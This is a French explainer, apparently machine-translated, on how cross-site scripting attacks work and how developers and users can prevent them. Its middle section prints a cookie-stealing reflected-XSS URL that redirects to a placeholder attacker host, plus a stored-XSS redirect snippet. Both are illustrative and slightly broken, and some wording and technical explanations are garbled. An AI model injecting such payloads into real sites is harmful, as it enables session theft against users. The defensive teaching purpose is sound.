Comment les pirates utilisent les scripts intersites pour casser des sites Web et voler des données
Les scripts intersites ou XSS peuvent être une attaque puissante et rapide. En tant que développeur, vous pourriez même le prendre pour un bogue dans votre code et finir par rechercher des bogues qui ne sont pas là.
En tant que client utilisant le site Web vulnérable, vous pouvez également divulguer de manière innocente des informations vitales sur votre accès d'authentification à l'attaquant.
Alors, qu'est-ce que le script intersite? Comment les pirates peuvent-ils l'utiliser pour pénétrer dans un site Web et voler vos données? Et comment pouvez-vous atténuer un tel risque?
Qu'est-ce que le script intersite?
Les scripts intersites ou XSS se produisent si le script d'un site Web malveillant interagit avec le code d'un site vulnérable.
Mais les serveurs sont câblés de manière à empêcher les personnes sans authentification d'accéder et de modifier le code source de votre site Web.
Internet utilise la même politique d'origine (SOP) pour bloquer les interactions intersites. Cependant, SOP vérifie trois failles de sécurité majeures et tente de les atténuer. Elles sont:
- Stratégie de protocole Internet qui vérifie si les deux sites Web fournissent du contenu sur SSL sécurisé (HTTPS) ou sur une URL non sécurisée (HTTP).
- La même politique d'hébergement Web, qui garantit que vous hébergez les deux sites Web sur le même domaine.
- La stratégie de port qui vérifie si les deux sites Web utilisent des points de terminaison de communication similaires.
SOP soutient que si l'une de ces politiques est différente pour deux sites Web, ils ne peuvent pas lire ou échanger des données sur le Web.
Mais JavaScript est un langage de manipulation qui détermine la réactivité d'un site Web. Bien que le JavaScript de votre site Web soit probablement dans un fichier séparé, vous pouvez également créer une balise de script et l'écrire dans votre modèle d'objet de document (DOM).
Ainsi, un attaquant XSS pourrait penser: "si vous pouvez écrire du JavaScript dans un DOM, vous pouvez finalement l'exécuter dans n'importe quel éditeur de code ou champ d'entrée qui accepte les balises HTML."
Une telle vulnérabilité et chance est ce que recherche un attaquant utilisant XSS sur un site Web cible. Une fois qu'ils ont trouvé une telle faille, ils peuvent contourner les SOP.
XSS est donc une attaque que les pirates de l'air utilisent pour injecter un script qui exécute une action malveillante dans un site Web vulnérable. Le script peut cibler des formulaires non protégés ou des champs de saisie qui acceptent des données.
Fonctionnement et types de scripts intersites, avec des exemples
XSS peut être une exécution rapide d'un script réfléchi ou temporaire qu'un attaquant place dans des formulaires tels que des champs de recherche. Il peut également s'agir d'un problème persistant ou persistant injecté dans la base de données. Ou cela pourrait venir passivement après le chargement d'une page.
Dans certains cas, ce script peut également modifier l'entrée d'origine d'une victime pour détourner son intention. Un changement persistant dans les entrées d'un utilisateur comme celui-ci est un XSS en mutation.
Quelle que soit sa forme, le but d'une attaque XSS est de voler les données d'une victime via des cookies et des journaux exposés.
Examinons brièvement chacun de ces types d'attaques XSS et leurs exemples pour comprendre ce qu'ils sont.
Qu'est-ce qu'un XSS réfléchi?
Un XSS réfléchi ou temporaire est une injection directe de JavaScript dans le champ de saisie d'un utilisateur. Il cible les demandes qui obtiennent des données de la base de données, comme les résultats de recherche. Mais c'est une attaque à cible unique.
Lors d'un XSS réfléchi, un attaquant insère un script dans le terme de recherche d'une victime cible. Un tel JavaScript peut être un écho, une redirection ou un collecteur de cookies.
Le script injecté dans le champ de saisie de recherche est ensuite exécuté dès qu'un client cible soumet sa requête.
Par exemple, lors de la recherche d'un utilisateur, un attaquant peut insérer un JavaScript qui fait écho à un formulaire, demandant à la victime d'entrer son mot de passe ou son nom d'utilisateur. Une fois que l'utilisateur fait cela, il peut finir par soumettre ses informations d'identification sans le savoir à un attaquant, pensant qu'il s'agit d'une demande du site d'origine.
Parfois, l'attaquant peut également utiliser un script pour rediriger un utilisateur de la page vulnérable vers sa page. Là, sur la page de l'attaquant, un utilisateur sans méfiance peut alors être trompé en soumettant quelques formulaires, entraînant une fuite d'informations d'identification.
De même, si le but est de voler la session d'un utilisateur, l'attaquant injecte un script de collecte de cookies dans le terme de recherche de l'utilisateur. Ils détournent ensuite la session actuelle de l'utilisateur, volent les informations pertinentes et reprennent les activités de la victime.
L'exemple d'attaque XSS ci-dessous vole le cookie d'un utilisateur via une requête GET:
http://vulnerablesite.com/?query=windows.location.replace("http://attackerswebpage.com/cookie-collector")
Dans l'exemple XSS ci-dessus, l'attaquant trouve une faille sur le site Web vulnérable. Ainsi, lorsqu'un utilisateur recherche une ressource indisponible sur le site vulnérable, il les redirige vers la page de l'attaquant. L'attaquant tapote alors le cookie de l'utilisateur actuel et saisit sa session.
Cependant, cette vulnérabilité est courante lorsque l'action de requête d'un site n'est pas filtrée pour vérifier les injections de script via HTML.
Mais même s'il y a une requête filtrée, un attaquant peut contourner cela en recourant à des mesures désespérées comme l'envoi de liens vers d'éventuels utilisateurs en temps réel d'un site Web. Ils peuvent le faire en utilisant toute forme d'ingénierie sociale à leur disposition.
Une fois que les victimes ont cliqué sur un tel lien, le pirate de l'air peut désormais exécuter avec succès l'attaque XSS et voler les données pertinentes de la victime.
Le script intersite persistant ou stocké
Le XSS stocké pose plus de menaces. Dans ce cas, un attaquant stocke le script dans la base de données d'un site Web, déclenchant une exécution persistante du script stocké. Le code stocké peut s'exécuter au chargement de la page ou après le chargement de la page.
Contrairement à la forme temporaire de XSS, un XSS stocké cible l'ensemble de la base d'utilisateurs du site Web vulnérable. En plus de cela, il cible également l'intégrité du site Web concerné.
Lors d'un XSS persistant, un attaquant utilise des champs de saisie tels que des formulaires de commentaires pour publier le script dans la base de données d'un site Web.
Mais que faire si vous protégez les champs POST avec des jetons CSRF? Malheureusement, les scripts intersites stockés contournent les vérifications CSRF.
C'est parce que l'attaquant soumet un formulaire comme tous les autres utilisateurs du site Web. Ainsi, un tel formulaire de commentaire envoie le script à la base de données comme tous les autres commentaires.
Une telle attaque peut se produire lorsque les champs de saisie sur un site Web n'utilisent pas de désinfectants appropriés pour échapper des scripts et des balises HTML.
Imaginez un utilisateur publiant le script ci-dessous en utilisant un formulaire de commentaire Web:
<body onload = maLicious()>
<script>
function malCode(){
window.location.replace("attackerswebpage URL");
}
</script>
<body/>
Lorsqu'un attaquant insère un code comme celui-ci dans la base de données d'un site Web, il continue de rediriger une victime vers le site Web de l'attaquant lors du chargement de la page. Le script peut également être une alerte, une boîte modale interactive ou une annonce malveillante intégrée.
Étant donné que le script redirige lors du chargement de la page, une victime qui ne connaît pas le site Web vulnérable peut ne pas remarquer la redirection.
Ils interagissent ensuite avec le site Web de l'attaquant. Cependant, le pirate de l'air peut alors utiliser plusieurs moyens pour obtenir des informations des victimes une fois qu'elles sont sur leur page Web.
Qu'est-ce qu'un DOM ou un XSS passif?
Un XSS basé sur DOM exécute un code malveillant intégré au site Web, forçant l'ensemble du DOM côté client à se comporter de manière inhabituelle.
Alors que le XSS stocké et réfléchi cible les requêtes côté serveur sur un site Web, un DOM XSS cible les activités d'exécution. Il fonctionne en insérant un script dans le composant d'un site Web qui effectue une tâche spécifique. Ce composant n'exécute pas d'action côté serveur.
Cependant, le script inséré dans un tel composant change complètement son intention. Si ce composant exécute une tâche liée au DOM, telle que celles qui modifient les éléments d'un site Web, le script peut forcer la page Web entière à changer.
Dans le pire des cas, un XSS basé sur DOM peut imiter un bogue. C'est parce que la page Web devient inhabituellement réactive.
Comment prévenir les attaques de scripts intersites
Une vulnérabilité XSS provient d'une mauvaise utilisation des meilleures pratiques backend. Ainsi, empêcher une attaque de script intersite est généralement la responsabilité du développeur. Mais les utilisateurs ont également un rôle à jouer.
L'utilisation d'un jeton CSFR pour les champs de saisie ne semble pas être une solution aux attaques XSS. Et comme cette attaque contourne également la politique de même origine, les développeurs doivent faire attention à ne pas omettre les pratiques de sécurité qui empêchent XSS.
Les mesures préventives suivantes sont utiles pour les développeurs.
Nettoyer les champs d'entrée
Pour éviter les XSS stockés et temporaires, vous devez utiliser des désinfectants efficaces pour les champs de saisie. La désinfection des requêtes de recherche, par exemple, empêche l'injection de balises dans les termes de recherche des utilisateurs.
Utiliser Unicode et HTML Auto Escape
Il est utile d'utiliser l'échappement automatique HTML et Unicode pour empêcher les champs de saisie tels que les formulaires de commentaire et de conversion d'accepter des scripts et des balises HTML. L'échappement automatique est une mesure préventive efficace contre le XSS stocké ou persistant.
Filtrer les balises spécifiques
Permettre aux utilisateurs d'insérer des balises dans des formulaires de commentaires est une mauvaise idée pour tout site Web. C'est une faille de sécurité. Cependant, si vous devez autoriser cela, vous ne devez accepter que les balises qui ne posent pas de menaces XSS.
Utiliser la validation d'entrée appropriée
Même si vous bloquez complètement les balises, un attaquant peut toujours mener une attaque XSS par des moyens sociaux. Ils peuvent envoyer des e-mails au lieu de placer quoi que ce soit directement sur le site Web vulnérable.
Une autre méthode pour l'empêcher est donc de valider efficacement les entrées. Ces mesures incluent la validation des protocoles et la garantie que votre site Web n'accepte que les entrées de HTTPS sécurisé et non de HTTP.
L'utilisation de bibliothèques JavaScript dédiées telles que dompurify peut également aider à bloquer les failles de sécurité liées à XSS.
Vous pouvez utiliser des outils tels que XSS Scanner ou GEEKFLARE pour rechercher les vulnérabilités XSS sur votre site Web.
Comment les utilisateurs peuvent empêcher XSS
Il existe aujourd'hui des millions de sites Web sur Internet. Vous pouvez donc difficilement dire lequel a des problèmes de sécurité XSS.
Cependant, en tant qu'utilisateur, vous devez vous assurer que vous êtes familiarisé avec n'importe quel service Web avant de l'utiliser. Si une page Web devient soudainement effrayante ou commence à se comporter de manière inhabituelle, cela peut être un signal d'alarme.
Dans tous les cas, veillez à ne pas divulguer vos données personnelles à un tiers non fiable. Soyez ensuite à l'affût des e-mails non sollicités ou des publications suspectes sur les réseaux sociaux qui peuvent entraîner toute forme d'attaques de phishing .
Aucune méthode préventive ne convient à tous
Nous avons vu à quoi ressemble une attaque XSS et comment l'empêcher. Il est facile d'oublier les contrôles de sécurité XSS pendant le développement. Les développeurs doivent donc prendre des mesures pour s'assurer que la protection n'est pas omise. Cependant, une combinaison des mesures préventives que nous avons énumérées plus tôt fonctionne mieux.